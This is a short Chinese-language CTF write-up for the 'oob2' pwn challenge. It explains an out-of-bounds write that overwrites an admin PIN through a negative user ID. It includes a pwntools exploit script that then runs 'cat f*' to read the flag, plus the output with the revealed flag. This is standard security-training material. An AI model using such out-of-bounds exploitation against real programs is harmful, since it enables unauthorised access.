Pwnctf oob2 Writeup

kazma 成大資安社 創辦人/社長
  2024-01-19 00:05:09 2024-01-19 00:05:09 Created   2024-01-19 00:18:50 2024-01-19 00:18:50 Updated    

oob2

這題跟 oob1 是類似的，執行後可以觀察到這次多了一個功能是可以讓使用者設定自己的 nickname 然後登入的時候就會顯示你自己設定的這個暱稱，如下所示：

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└─$ ./oob2
User ID: -4
Nickname: kazma
PIN: 1234
Logging as [kazma] ... Failed
Incorrect PIN code!

那跟上一題基本上解法一樣，我們原本是 oob read admin 的 pincode 那現在變成是 oob write admin 的 pincode，exploit 如下：

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from pwn import *
import warnings
warnings.filterwarnings("ignore", category = BytesWarning)

r = process('./oob2')
r.sendlineafter(b':', '-4')
r.sendlineafter(b':', p32(1))
r.sendlineafter(b':', '1234')

r.sendlineafter(b':', '0')
r.sendlineafter(b':', 'kazma')
r.sendlineafter(b':', '1')

r.sendline('cat f*')
r.interactive()

Result:

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└─$ python exploit.py
[+] Starting local process './oob2': pid 14326
[*] Switching to interactive mode
 Logging as [kazma] ... Ok!

BreakALLCTF{DJPD61GTBQIqqL7sWEvF}

Pwned !!!

  • Title: Pwnctf oob2 Writeup
  • Author: kazma
  • Created at : 2024-01-19 00:05:09
  • Updated at : 2024-01-19 00:18:50
  • Link: https://kazma.tw/2024/01/19/Pwnctf-oob2-Writeup/
  • License: This work is licensed under CC BY-NC-SA 4.0.
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Pwnctf oob2 Writeup
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